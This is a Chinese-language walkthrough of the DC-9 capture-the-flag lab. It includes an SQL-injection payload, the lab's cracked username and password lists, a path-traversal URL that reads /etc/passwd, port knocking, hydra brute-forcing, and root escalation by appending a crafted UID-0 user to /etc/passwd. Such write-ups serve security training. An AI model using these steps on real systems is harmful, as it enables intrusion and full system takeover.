DC9靶场思路详解

老规矩，端口，目录，指纹都没啥发现

22端口还是过滤状态

在search中发现有SQL注入，1’ or 1=1#

直接上工具

密码是32位16进制 md5值解密 transorbital1

解密网站：MD5免费在线解密破解_MD5在线加密-SOMD5

users数据库的数据

用户
marym        
julied       
fredf        
barneyr      
tomc        
jerrym         
wilmaf           
bettyr          
chandlerb        
joeyt          
rachelg     
rossg       
monicag      
phoebeb      
scoots      
janitor    
janitor2 

密码
3kfs86sfd     
468sfdfsd2    
4sfd87sfd1    
RocksOff      
TC&TheBoyz    
B8m#48sd      
Pebbles       
BamBam01      
UrAG0D!       
Passw0rd      
yN72#dsd      
ILoveRachel   
3248dsds7s    
smellycats    
YR3BVxxxw87   
Ilovepeepee   
Hawaii-Five-0

登录进来

文件不存在，可能有文件包含

http://example.com/index.php?file=../../../../etc/passwd
../ 路径穿越	这里至少要用四个

到这里去查了一下，有一个knockd端口碰撞

用nmap去扫秒一下，或者在kali上安装knockd

扫完后发现22端口又重新打开了

我用users数据库的数据登录发现一直失败，可能是只有某些用户才能ssh登录

于是用hydra工具爆破看看

Hydra（九头蛇）是一款功能强大的开源暴力破解工具，主要用于在线密码破解和登录凭证爆破

• 指定用户名（-l）或用户字典（-L）。
• 指定密码（-p）或密码字典（-P）。
• 支持组合文件（-C，格式为用户名:密码）

将users数据库中的用户密码分别放入username和password中

注意这里一定要检查复制过去后每一行后面是否有空格

一行一行删掉

我前面试了好几次都没出来，糊了

挨个连接去查查看里面有什么，前俩格啥也没有

第三个有个secrets,去看看

看到了又出现了几个密码，于是再放到password中，再试一次用hydra

发现另一个，于是在去连接

可以用root执行

看了一下test全是乱码

返回上俩级目录看到有关test的查看一下

于是去搜一下代码含义 从一个文件读取内容，并追加（append）到另一个文件

python test.py input.txt output.txt
input.txt 的内容会被追加到 output.txt 的末尾。

于是我们有思路：将用户添加到root组中

先创建一个用户

openssl passwd -1 -salt 123 admin

//-1为MD5加密算法，-salt指定盐值，后面为密码 //将上述构造的语句写入到文件当中

/etc/passwd下的root用户信息 root:x:0:0:root:/root:/bin/bash //根据root信息，

构造用户信息追加到/etc/passwd文件当中，

添加admin用户 admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

生成后查看一下

然后换到tmp目录切换

su admin

password: admin

查到flag